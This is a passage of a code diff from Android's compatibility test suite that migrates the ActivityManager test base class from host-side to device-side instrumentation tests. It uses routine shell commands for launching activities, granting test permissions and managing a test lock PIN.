+ mTasks.add(new ActivityTask(proto.tasks[i]));
+ }
+ if (proto.resumedActivity != null) {
+ mResumedActivity = proto.resumedActivity.title;
+ }
+ }
+
+ /**
+ * @return the bottom task in the stack.
+ */
+ ActivityTask getBottomTask() {
+ if (!mTasks.isEmpty()) {
+ // NOTE: Unlike the ActivityManager internals, we dump the state from top to bottom,
+ // so the indices are inverted
+ return mTasks.get(mTasks.size() - 1);
+ }
+ return null;
+ }
+
+ /**
+ * @return the top task in the stack.
+ */
+ ActivityTask getTopTask() {
+ if (!mTasks.isEmpty()) {
+ // NOTE: Unlike the ActivityManager internals, we dump the state from top to bottom,
+ // so the indices are inverted
+ return mTasks.get(0);
+ }
+ return null;
+ }
+
+ List<ActivityTask> getTasks() {
+ return new ArrayList<>(mTasks);
+ }
+
+ ActivityTask getTask(int taskId) {
+ for (ActivityTask task : mTasks) {
+ if (taskId == task.mTaskId) {
+ return task;
+ }
+ }
+ return null;
+ }
+ }
+
+ static class ActivityTask extends ActivityContainer {
+
+ int mTaskId;
+ int mStackId;
+ Rect mLastNonFullscreenBounds;
+ String mRealActivity;
+ String mOrigActivity;
+ ArrayList<Activity> mActivities = new ArrayList<>();
+ int mTaskType = -1;
+ private int mResizeMode;
+
+ ActivityTask(TaskRecordProto proto) {
+ super(proto.configurationContainer);
+ mTaskId = proto.id;
+ mStackId = proto.stackId;
+ mLastNonFullscreenBounds = extract(proto.lastNonFullscreenBounds);
+ mRealActivity = proto.realActivity;
+ mOrigActivity = proto.origActivity;
+ mTaskType = proto.activityType;
+ mResizeMode = proto.resizeMode;
+ mFullscreen = proto.fullscreen;
+ mBounds = extract(proto.bounds);
+ mMinWidth = proto.minWidth;
+ mMinHeight = proto.minHeight;
+ for (int i = 0; i < proto.activities.length; i++) {
+ mActivities.add(new Activity(proto.activities[i]));
+ }
+ }
+
+ public int getResizeMode() {
+ return mResizeMode;
+ }
+
+ /**
+ * @return whether this task contains the given activity.
+ */
+ public boolean containsActivity(String activityName) {
+ for (Activity activity : mActivities) {
+ if (activity.name.equals(activityName)) {
+ return true;
+ }
+ }
+ return false;
+ }
+ }
+
+ static class Activity extends ActivityContainer {
+
+ String name;
+ String state;
+ boolean visible;
+ boolean frontOfTask;
+ int procId = -1;
+
+ Activity(ActivityRecordProto proto) {
+ super(proto.configurationContainer);
+ name = proto.identifier.title;
+ state = proto.state;
+ visible = proto.visible;
+ frontOfTask = proto.frontOfTask;
+ if (proto.procId != 0) {
+ procId = proto.procId;
+ }
+ }
+ }
+
+ static abstract class ActivityContainer extends WindowManagerState.ConfigurationContainer {
+ protected boolean mFullscreen;
+ protected Rect mBounds;
+ protected int mMinWidth = -1;
+ protected int mMinHeight = -1;
+
+ ActivityContainer(ConfigurationContainerProto proto) {
+ super(proto);
+ }
+
+ Rect getBounds() {
+ return mBounds;
+ }
+
+ boolean isFullscreen() {
+ return mFullscreen;
+ }
+
+ int getMinWidth() {
+ return mMinWidth;
+ }
+
+ int getMinHeight() {
+ return mMinHeight;
+ }
+ }
+
+ static class KeyguardControllerState {
+
+ boolean keyguardShowing = false;
+ boolean keyguardOccluded = false;
+
+ KeyguardControllerState(KeyguardControllerProto proto) {
+ if (proto != null) {
+ keyguardShowing = proto.keyguardShowing;
+ keyguardOccluded = proto.keyguardOccluded;
+ }
+ }
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
similarity index 69%
rename from hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
rename to tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
index e165fbe..1aeb7d8 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
@@ -14,93 +14,79 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.InputStreamSource;
-import com.android.tradefed.testtype.DeviceTestCase;
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.app.ActivityManager.SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+import static android.view.KeyEvent.KEYCODE_APP_SWITCH;
-import java.awt.image.BufferedImage;
-import java.lang.Exception;
-import java.lang.Integer;
-import java.lang.String;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Configuration;
+import android.graphics.Bitmap;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+import android.view.Display;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+
+import java.io.FileInputStream;
+import java.io.IOException;
import java.util.HashSet;
import java.util.List;
import java.util.UUID;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
-import android.server.cts.ActivityManagerState.ActivityStack;
-
-import javax.imageio.ImageIO;
-
-public abstract class ActivityManagerTestBase extends DeviceTestCase {
+public abstract class ActivityManagerTestBase {
private static final boolean PRETEND_DEVICE_SUPPORTS_PIP = false;
private static final boolean PRETEND_DEVICE_SUPPORTS_FREEFORM = false;
private static final String LOG_SEPARATOR = "LOG_SEPARATOR";
- // Constants copied from ActivityManager.StackId. If they are changed there, these must be
- // updated.
- /** Invalid stack ID. */
- public static final int INVALID_STACK_ID = -1;
-
- /** First static stack ID. */
- public static final int FIRST_STATIC_STACK_ID = 0;
-
- /** Home activity stack ID. */
- public static final int HOME_STACK_ID = FIRST_STATIC_STACK_ID;
-
- /** ID of stack where fullscreen activities are normally launched into. */
- public static final int FULLSCREEN_WORKSPACE_STACK_ID = 1;
-
- /** ID of stack where freeform/resized activities are normally launched into. */
- public static final int FREEFORM_WORKSPACE_STACK_ID = FULLSCREEN_WORKSPACE_STACK_ID + 1;
-
- /** ID of stack that occupies a dedicated region of the screen. */
- public static final int DOCKED_STACK_ID = FREEFORM_WORKSPACE_STACK_ID + 1;
-
- /** ID of stack that always on top (always visible) when it exist. */
- public static final int PINNED_STACK_ID = DOCKED_STACK_ID + 1;
-
- /** Recents activity stack ID. */
- public static final int RECENTS_STACK_ID = PINNED_STACK_ID + 1;
-
- /** Assistant activity stack ID. This stack is fullscreen and non-resizeable. */
- public static final int ASSISTANT_STACK_ID = RECENTS_STACK_ID + 1;
-
- protected static final int[] ALL_STACK_IDS_BUT_HOME = {
- FULLSCREEN_WORKSPACE_STACK_ID, FREEFORM_WORKSPACE_STACK_ID, DOCKED_STACK_ID,
- PINNED_STACK_ID, ASSISTANT_STACK_ID
- };
-
- protected static final int[] ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN = {
- FREEFORM_WORKSPACE_STACK_ID, DOCKED_STACK_ID, PINNED_STACK_ID, ASSISTANT_STACK_ID
+ protected static final int[] ALL_ACTIVITY_TYPE_BUT_HOME = {
+ ACTIVITY_TYPE_STANDARD, ACTIVITY_TYPE_ASSISTANT, ACTIVITY_TYPE_RECENTS,
+ ACTIVITY_TYPE_UNDEFINED
};
private static final String TASK_ID_PREFIX = "taskId";
private static final String AM_STACK_LIST = "am stack list";
- private static final String AM_FORCE_STOP_TEST_PACKAGE = "am force-stop android.server.cts";
+ private static final String AM_FORCE_STOP_TEST_PACKAGE = "am force-stop android.server.am";
private static final String AM_FORCE_STOP_SECOND_TEST_PACKAGE
- = "am force-stop android.server.cts.second";
+ = "am force-stop android.server.am.second";
private static final String AM_FORCE_STOP_THIRD_TEST_PACKAGE
- = "am force-stop android.server.cts.third";
-
- private static final String AM_REMOVE_STACK = "am stack remove ";
+ = "am force-stop android.server.am.third";
protected static final String AM_START_HOME_ACTIVITY_COMMAND =
"am start -a android.intent.action.MAIN -c android.intent.category.HOME";
- protected static final String AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND =
- "am stack move-top-activity-to-pinned-stack 1 0 0 500 500";
+ private static final String AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND_FORMAT =
+ "am stack move-top-activity-to-pinned-stack %1d 0 0 500 500";
static final String LAUNCHING_ACTIVITY = "LaunchingActivity";
static final String ALT_LAUNCHING_ACTIVITY = "AltLaunchingActivity";
@@ -119,27 +105,21 @@
static final String AM_MOVE_TASK = "am stack move-task ";
- private static final String AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW =
- "am supports-split-screen-multi-window";
private static final String AM_NO_HOME_SCREEN = "am no-home-screen";
- private static final String INPUT_KEYEVENT_HOME = "input keyevent 3";
- private static final String INPUT_KEYEVENT_BACK = "input keyevent 4";
- private static final String INPUT_KEYEVENT_APP_SWITCH = "input keyevent 187";
- public static final String INPUT_KEYEVENT_WINDOW = "input keyevent 171";
-
private static final String LOCK_CREDENTIAL = "1234";
- private static final int INVALID_DISPLAY_ID = -1;
+ private static final int INVALID_DISPLAY_ID = Display.INVALID_DISPLAY;
- private static final String DEFAULT_COMPONENT_NAME = "android.server.cts";
+ private static final String DEFAULT_COMPONENT_NAME = "android.server.am";
static String componentName = DEFAULT_COMPONENT_NAME;
protected static final int INVALID_DEVICE_ROTATION = -1;
- /** A reference to the device under test. */
- protected ITestDevice mDevice;
+ protected Context mContext;
+ protected ActivityManager mAm;
+ protected UiDevice mDevice;
private HashSet<String> mAvailableFeatures;
@@ -180,6 +160,10 @@
return "am start --activity-task-on-home -n " + getActivityComponentName(activityName);
}
+ protected static String getMoveToPinnedStackCommand(int stackId) {
+ return String.format(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND_FORMAT, stackId);
+ }
+
protected static String getOrientationBroadcast(int orientation) {
return "am broadcast -a trigger_broadcast --ei orientation " + orientation;
}
@@ -207,7 +191,7 @@
setComponentName(DEFAULT_COMPONENT_NAME);
}
- static String getBaseWindowName() {
+ protected static String getBaseWindowName() {
return getBaseWindowName(componentName);
}
@@ -237,37 +221,39 @@
private SurfaceTraceReceiver mSurfaceTraceReceiver;
private Thread mSurfaceTraceThread;
- void installSurfaceObserver(SurfaceTraceReceiver.SurfaceObserver observer) {
+ protected void installSurfaceObserver(SurfaceTraceReceiver.SurfaceObserver observer) {
mSurfaceTraceReceiver = new SurfaceTraceReceiver(observer);
mSurfaceTraceThread = new Thread() {
@Override
public void run() {
try {
- mDevice.executeShellCommand("wm surface-trace", mSurfaceTraceReceiver);
- } catch (DeviceNotAvailableException e) {
- logE("Device not available: " + e.toString());
+ registerSurfaceTraceReceiver("wm surface-trace", mSurfaceTraceReceiver);
+ } catch (IOException e) {
+ logE("Error running wm surface-trace: " + e.toString());
}
}
};
mSurfaceTraceThread.start();
}
- void removeSurfaceObserver() {
- mSurfaceTraceReceiver.cancel();
+ protected void removeSurfaceObserver() {
mSurfaceTraceThread.interrupt();
}
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getContext();
+ mAm = mContext.getSystemService(ActivityManager.class);
+ mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
setDefaultComponentName();
+ executeShellCommand("pm grant " + mContext.getPackageName()
+ + " android.permission.MANAGE_ACTIVITY_STACKS");
+ executeShellCommand("pm grant " + mContext.getPackageName()
+ + " android.permission.ACTIVITY_EMBEDDING");
- // Get the device, this gives a handle to run commands and install APKs.
- mDevice = getDevice();
wakeUpAndUnlockDevice();
pressHomeButton();
- // Remove special stacks.
- removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
+ removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
// Store rotation settings.
mInitialAccelerometerRotation = getAccelerometerRotation();
mUserRotation = getUserRotation();
@@ -276,60 +262,62 @@
mLockDisabled = isLockDisabled();
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- try {
- setLockDisabled(mLockDisabled);
- executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
- executeShellCommand(AM_FORCE_STOP_SECOND_TEST_PACKAGE);
- executeShellCommand(AM_FORCE_STOP_THIRD_TEST_PACKAGE);
- // Restore rotation settings to the state they were before test.
- setAccelerometerRotation(mInitialAccelerometerRotation);
- setUserRotation(mUserRotation);
- setFontScale(mFontScale);
+ @After
+ public void tearDown() throws Exception {
+ setLockDisabled(mLockDisabled);
+ executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
+ executeShellCommand(AM_FORCE_STOP_SECOND_TEST_PACKAGE);
+ executeShellCommand(AM_FORCE_STOP_THIRD_TEST_PACKAGE);
+ // Restore rotation settings to the state they were before test.
+ setAccelerometerRotation(mInitialAccelerometerRotation);
+ setUserRotation(mUserRotation);
+ setFontScale(mFontScale);
setWindowTransitionAnimationDurationScale(1);
- // Remove special stacks.
- removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
- wakeUpAndUnlockDevice();
- pressHomeButton();
- } catch (DeviceNotAvailableException e) {
- }
+ removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+ wakeUpAndUnlockDevice();
+ pressHomeButton();
}
- protected void removeStacks(int... stackIds) {
+ protected void removeStacksWithActivityTypes(int... activityTypes) {
+ mAm.removeStacksWithActivityTypes(activityTypes);
+ }
+
+ protected void removeStacksInWindowingModes(int... windowingModes) {
+ mAm.removeStacksInWindowingModes(windowingModes);
+ waitForIdle();
+ }
+
+ public static String executeShellCommand(String command) {
+ log("Shell command: " + command);
try {
- for (Integer stackId : stackIds) {
- executeShellCommand(AM_REMOVE_STACK + stackId);
- }
- } catch (DeviceNotAvailableException e) {
+ return SystemUtil
+ .runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+ } catch (IOException e) {
+ //bubble it up
+ logE("Error running shell command: " + command);
+ throw new RuntimeException(e);
}
}
- protected String executeShellCommand(String command) throws DeviceNotAvailableException {
- return executeShellCommand(mDevice, command);
- }
-
- protected static String executeShellCommand(ITestDevice device, String command)
- throws DeviceNotAvailableException {
- log("adb shell " + command);
- return device.executeShellCommand(command);
- }
-
- protected void executeShellCommand(String command, CollectingOutputReceiver outputReceiver)
- throws DeviceNotAvailableException {
- log("adb shell " + command);
- mDevice.executeShellCommand(command, outputReceiver);
- }
-
- protected BufferedImage takeScreenshot() throws Exception {
- final InputStreamSource stream = mDevice.getScreenshot("PNG", false /* rescale */);
- if (stream == null) {
- fail("Failed to take screenshot of device");
+ protected static void registerSurfaceTraceReceiver(String command, SurfaceTraceReceiver outputReceiver)
+ throws IOException {
+ log("Shell command: " + command);
+ ParcelFileDescriptor pfd = InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .executeShellCommand(command);
+ byte[] buf = new byte[512];
+ int bytesRead;
+ FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+ while ((bytesRead = fis.read(buf)) != -1) {
+ outputReceiver.addOutput(buf, 0, bytesRead);
}
- return ImageIO.read(stream.createInputStream());
+ fis.close();
}
+ protected Bitmap takeScreenshot() throws Exception {
+ return InstrumentationRegistry.getInstrumentation().getUiAutomation().takeScreenshot();
+ }
+
+ @Deprecated
protected void launchActivityInComponent(final String componentName,
final String targetActivityName, final String... keyValuePairs) throws Exception {
final String originalComponentName = ActivityManagerTestBase.componentName;
@@ -338,26 +326,30 @@
setComponentName(originalComponentName);
}
+ @Deprecated
protected void launchActivity(final String targetActivityName, final String... keyValuePairs)
throws Exception {
executeShellCommand(getAmStartCmd(targetActivityName, keyValuePairs));
- mAmWmState.waitForValidState(mDevice, targetActivityName);
+ mAmWmState.waitForValidState(targetActivityName);
}
+ @Deprecated
protected void launchActivityNoWait(final String targetActivityName,
final String... keyValuePairs) throws Exception {
executeShellCommand(getAmStartCmd(targetActivityName, keyValuePairs));
}
+ @Deprecated
protected void launchActivityInNewTask(final String targetActivityName) throws Exception {
executeShellCommand(getAmStartCmdInNewTask(targetActivityName));
- mAmWmState.waitForValidState(mDevice, targetActivityName);
+ mAmWmState.waitForValidState(targetActivityName);
}
/**
* Starts an activity in a new stack.
* @return the stack id of the newly created stack.
*/
+ @Deprecated
protected int launchActivityInNewDynamicStack(final String activityName) throws Exception {
HashSet<Integer> stackIds = getStackIds();
executeShellCommand("am stack start " + ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID
@@ -372,14 +364,16 @@
}
}
- /**
- * Returns the set of stack ids.
- */
+ private void waitForIdle() {
+ InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+ }
+
+ /** Returns the set of stack ids. */
private HashSet<Integer> getStackIds() throws Exception {
- mAmWmState.computeState(mDevice, null);
- final List<ActivityStack> stacks = mAmWmState.getAmState().getStacks();
+ mAmWmState.computeState();
+ final List<ActivityManagerState.ActivityStack> stacks = mAmWmState.getAmState().getStacks();
final HashSet<Integer> stackIds = new HashSet<>();
- for (ActivityStack s : stacks) {
+ for (ActivityManagerState.ActivityStack s : stacks) {
stackIds.add(s.mStackId);
}
return stackIds;
@@ -388,14 +382,14 @@
protected void launchHomeActivity()
throws Exception {
executeShellCommand(AM_START_HOME_ACTIVITY_COMMAND);
- mAmWmState.waitForHomeActivityVisible(mDevice);
+ mAmWmState.waitForHomeActivityVisible();
}
protected void launchActivityOnDisplay(String targetActivityName, int displayId)
throws Exception {
executeShellCommand(getAmStartCmd(targetActivityName, displayId));
- mAmWmState.waitForValidState(mDevice, targetActivityName);
+ mAmWmState.waitForValidState(targetActivityName);
}
/**
@@ -408,7 +402,6 @@
* package name of {@link #LAUNCHING_ACTIVITY} will be added
* automatically.
* @param displayId Display id where target activity should be launched.
- * @throws Exception
*/
protected void launchActivityFromLaunching(boolean toSide, boolean randomData,
boolean multipleTask, String targetActivityName, int displayId) throws Exception {
@@ -431,27 +424,34 @@
}
executeShellCommand(commandBuilder.toString());
- mAmWmState.waitForValidState(mDevice, targetActivityName);
+ mAmWmState.waitForValidState(targetActivityName);
}
- protected void launchActivityInStack(String activityName, int stackId,
+ protected void launchActivity(String activityName, int windowingMode,
final String... keyValuePairs) throws Exception {
- executeShellCommand(getAmStartCmd(activityName, keyValuePairs) + " --stack " + stackId);
-
- mAmWmState.waitForValidState(mDevice, activityName, stackId);
+ executeShellCommand(getAmStartCmd(activityName, keyValuePairs)
+ + " --windowingMode " + windowingMode);
+ mAmWmState.waitForValidState(new WaitForValidActivityState.Builder()
+ .setActivityName(activityName)
+ .setWindowingMode(windowingMode)
+ .build());
}
+ @Deprecated
protected void launchActivityInDockStack(String activityName) throws Exception {
- launchActivity(activityName);
- // TODO(b/36279415): The way we launch an activity into the docked stack is different from
- // what the user actually does. Long term we should use
- // "adb shell input keyevent --longpress _app_swich_key_code_" to trigger a long press on
- // the recents button which is consistent with what the user does. However, currently sys-ui
- // does handle FLAG_LONG_PRESS for the app switch key. It just listens for long press on the
- // view. We need to fix that in sys-ui before we can change this.
- moveActivityToDockStack(activityName);
+ launchActivityInDockStack(activityName, SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT);
+ }
- mAmWmState.waitForValidState(mDevice, activityName, DOCKED_STACK_ID);
+ @Deprecated
+ protected void launchActivityInDockStack(String activityName, int createMode)
+ throws Exception {
+ launchActivity(activityName);
+ final int taskId = getActivityTaskId(activityName);
+ mAm.setTaskWindowingModeSplitScreenPrimary(taskId, createMode, true /* onTop */,
+ false /* animate */, null /* initialBounds */);
+
+ mAmWmState.waitForValidState(activityName,
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
}
protected void launchActivityToSide(boolean randomData, boolean multipleTaskFlag,
@@ -461,11 +461,15 @@
.setMultipleTask(multipleTaskFlag).setTargetActivityName(activityToLaunch)
.execute();
- mAmWmState.waitForValidState(mDevice, activityToLaunch, FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.waitForValidState(activityToLaunch,
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
}
- protected void moveActivityToDockStack(String activityName) throws Exception {
- moveActivityToStack(activityName, DOCKED_STACK_ID);
+ protected void setActivityTaskWindowingMode(String activityName, int windowingMode)
+ throws Exception {
+ final int taskId = getActivityTaskId(activityName);
+ mAm.setTaskWindowingMode(taskId, windowingMode, true /* toTop */);
+ mAmWmState.waitForValidState(activityName, windowingMode, ACTIVITY_TYPE_STANDARD);
}
protected void moveActivityToStack(String activityName, int stackId) throws Exception {
@@ -473,7 +477,7 @@
final String cmd = AM_MOVE_TASK + taskId + " " + stackId + " true";
executeShellCommand(cmd);
- mAmWmState.waitForValidState(mDevice, activityName, stackId);
+ mAmWmState.waitForValidState(activityName, stackId);
}
protected void resizeActivityTask(String activityName, int left, int top, int right, int bottom)
@@ -485,45 +489,42 @@
}
protected void resizeDockedStack(
- int stackWidth, int stackHeight, int taskWidth, int taskHeight)
- throws DeviceNotAvailableException {
+ int stackWidth, int stackHeight, int taskWidth, int taskHeight) {
executeShellCommand(AM_RESIZE_DOCKED_STACK
+ "0 0 " + stackWidth + " " + stackHeight
+ " 0 0 " + taskWidth + " " + taskHeight);
}
protected void resizeStack(int stackId, int stackLeft, int stackTop, int stackWidth,
- int stackHeight) throws DeviceNotAvailableException {
+ int stackHeight) {
executeShellCommand(AM_RESIZE_STACK + String.format("%d %d %d %d %d", stackId, stackLeft,
stackTop, stackWidth, stackHeight));
}
- protected void pressHomeButton() throws DeviceNotAvailableException {
- executeShellCommand(INPUT_KEYEVENT_HOME);
+ protected void pressHomeButton() {
+ mDevice.pressHome();
}
- protected void pressBackButton() throws DeviceNotAvailableException {
- executeShellCommand(INPUT_KEYEVENT_BACK);
+ protected void pressBackButton() {
+ mDevice.pressBack();
}
- protected void pressAppSwitchButton() throws DeviceNotAvailableException {
- executeShellCommand(INPUT_KEYEVENT_APP_SWITCH);
+ protected void pressAppSwitchButton() throws Exception {
+ mDevice.pressKeyCode(KEYCODE_APP_SWITCH);
+ mAmWmState.waitForRecentsActivityVisible();
+ mAmWmState.waitForAppTransitionIdle();
}
// Utility method for debugging, not used directly here, but useful, so kept around.
- protected void printStacksAndTasks() throws DeviceNotAvailableException {
- CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- executeShellCommand(AM_STACK_LIST, outputReceiver);
- String output = outputReceiver.getOutput();
+ protected void printStacksAndTasks() {
+ String output = executeShellCommand(AM_STACK_LIST);
for (String line : output.split("\\n")) {
- CLog.logAndDisplay(LogLevel.INFO, line);
+ log(line);
}
}
- protected int getActivityTaskId(String name) throws DeviceNotAvailableException {
- CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- executeShellCommand(AM_STACK_LIST, outputReceiver);
- final String output = outputReceiver.getOutput();
+ protected int getActivityTaskId(String name) {
+ String output = executeShellCommand(AM_STACK_LIST);
final Pattern activityPattern = Pattern.compile("(.*) " + getWindowName(name) + " (.*)");
for (String line : output.split("\\n")) {
Matcher matcher = activityPattern.matcher(line);
@@ -539,38 +540,38 @@
return -1;
}
- protected boolean supportsVrMode() throws DeviceNotAvailableException {
+ protected boolean supportsVrMode() {
return hasDeviceFeature("android.software.vr.mode") &&
hasDeviceFeature("android.hardware.vr.high_performance");
}
- protected boolean supportsPip() throws DeviceNotAvailableException {
+ protected boolean supportsPip() {
return hasDeviceFeature("android.software.picture_in_picture")
|| PRETEND_DEVICE_SUPPORTS_PIP;
}
- protected boolean supportsFreeform() throws DeviceNotAvailableException {
+ protected boolean supportsFreeform() {
return hasDeviceFeature("android.software.freeform_window_management")
|| PRETEND_DEVICE_SUPPORTS_FREEFORM;
}
- protected boolean isHandheld() throws DeviceNotAvailableException {
+ protected boolean isHandheld() {
return !hasDeviceFeature("android.software.leanback")
&& !hasDeviceFeature("android.hardware.type.watch")
&& !hasDeviceFeature("android.hardware.type.embedded");
}
- protected boolean supportsSplitScreenMultiWindow() throws DeviceNotAvailableException {
- CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- executeShellCommand(AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW, outputReceiver);
- String output = outputReceiver.getOutput();
- return !output.startsWith("false");
+ protected boolean isTablet() {
+ // Larger than approx 7" tablets
+ return mContext.getResources().getConfiguration().smallestScreenWidthDp >= 600;
}
- protected boolean noHomeScreen() throws DeviceNotAvailableException {
- CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- executeShellCommand(AM_NO_HOME_SCREEN, outputReceiver);
- String output = outputReceiver.getOutput();
+ protected boolean supportsSplitScreenMultiWindow() {
+ return ActivityManager.supportsSplitScreenMultiWindow(mContext);
+ }
+
+ protected boolean noHomeScreen() {
+ String output = executeShellCommand(AM_NO_HOME_SCREEN);
return output.startsWith("true");
}
@@ -578,14 +579,14 @@
* Rotation support is indicated by explicitly having both landscape and portrait
* features or not listing either at all.
*/
- protected boolean supportsRotation() throws DeviceNotAvailableException {
+ protected boolean supportsRotation() {
return (hasDeviceFeature("android.hardware.screen.landscape")
&& hasDeviceFeature("android.hardware.screen.portrait"))
|| (!hasDeviceFeature("android.hardware.screen.landscape")
&& !hasDeviceFeature("android.hardware.screen.portrait"));
}
- protected boolean hasDeviceFeature(String requiredFeature) throws DeviceNotAvailableException {
+ protected boolean hasDeviceFeature(String requiredFeature) {
if (mAvailableFeatures == null) {
// TODO: Move this logic to ITestDevice.
final String output = runCommandAndPrintOutput("pm list features");
@@ -603,16 +604,14 @@
}
boolean result = mAvailableFeatures.contains(requiredFeature);
if (!result) {
- CLog.logAndDisplay(LogLevel.INFO, "Device doesn't support " + requiredFeature);
+ log("Device doesn't support " + requiredFeature);
}
return result;
}
- protected boolean isDisplayOn() throws DeviceNotAvailableException {
- final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- mDevice.executeShellCommand("dumpsys power", outputReceiver);
-
- for (String line : outputReceiver.getOutput().split("\\n")) {
+ protected boolean isDisplayOn() {
+ String output = executeShellCommand("dumpsys power");
+ for (String line : output.split("\\n")) {
line = line.trim();
final Matcher matcher = sDisplayStatePattern.matcher(line);
@@ -626,7 +625,7 @@
return false;
}
- protected void sleepDevice() throws DeviceNotAvailableException {
+ protected void sleepDevice() {
int retriesLeft = 5;
runCommandAndPrintOutput("input keyevent SLEEP");
do {
@@ -644,26 +643,26 @@
} while (retriesLeft-- > 0);
}
- protected void wakeUpAndUnlockDevice() throws DeviceNotAvailableException {
+ protected void wakeUpAndUnlockDevice() {
wakeUpDevice();
unlockDevice();
}
- protected void wakeUpAndRemoveLock() throws DeviceNotAvailableException {
+ protected void wakeUpAndRemoveLock() {
wakeUpDevice();
setLockDisabled(true);
}
- protected void wakeUpDevice() throws DeviceNotAvailableException {
+ protected void wakeUpDevice() {
runCommandAndPrintOutput("input keyevent WAKEUP");
}
- protected void unlockDevice() throws DeviceNotAvailableException {
- runCommandAndPrintOutput("input keyevent 82");
+ protected void unlockDevice() {
+ mDevice.pressMenu();
}
protected void unlockDeviceWithCredential() throws Exception {
- runCommandAndPrintOutput("input keyevent 82");
+ mDevice.pressMenu();
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
@@ -673,25 +672,24 @@
}
protected void enterAndConfirmLockCredential() throws Exception {
- // TODO: This should use waitForIdle..but there ain't such a thing on hostside tests, boo :(
- Thread.sleep(500);
+ mDevice.waitForIdle(3000);
runCommandAndPrintOutput("input text " + LOCK_CREDENTIAL);
- runCommandAndPrintOutput("input keyevent KEYCODE_ENTER");
+ mDevice.pressEnter();
}
protected void gotoKeyguard() throws Exception {
sleepDevice();
wakeUpDevice();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
}
- protected void setLockCredential() throws DeviceNotAvailableException {
+ protected void setLockCredential() {
mLockCredentialsSet = true;
runCommandAndPrintOutput("locksettings set-pin " + LOCK_CREDENTIAL);
}
- private void removeLockCredential() throws DeviceNotAvailableException {
+ protected void removeLockCredential() {
runCommandAndPrintOutput("locksettings clear --old " + LOCK_CREDENTIAL);
}
@@ -699,7 +697,7 @@
* Returns whether the lock screen is disabled.
* @return true if the lock screen is disabled, false otherwise.
*/
- private boolean isLockDisabled() throws DeviceNotAvailableException {
+ private boolean isLockDisabled() {
final String isLockDisabled = runCommandAndPrintOutput("locksettings get-disabled").trim();
if ("null".equals(isLockDisabled)) {
return false;
@@ -712,7 +710,7 @@
* Disable the lock screen.
* @param lockDisabled true if should disable, false otherwise.
*/
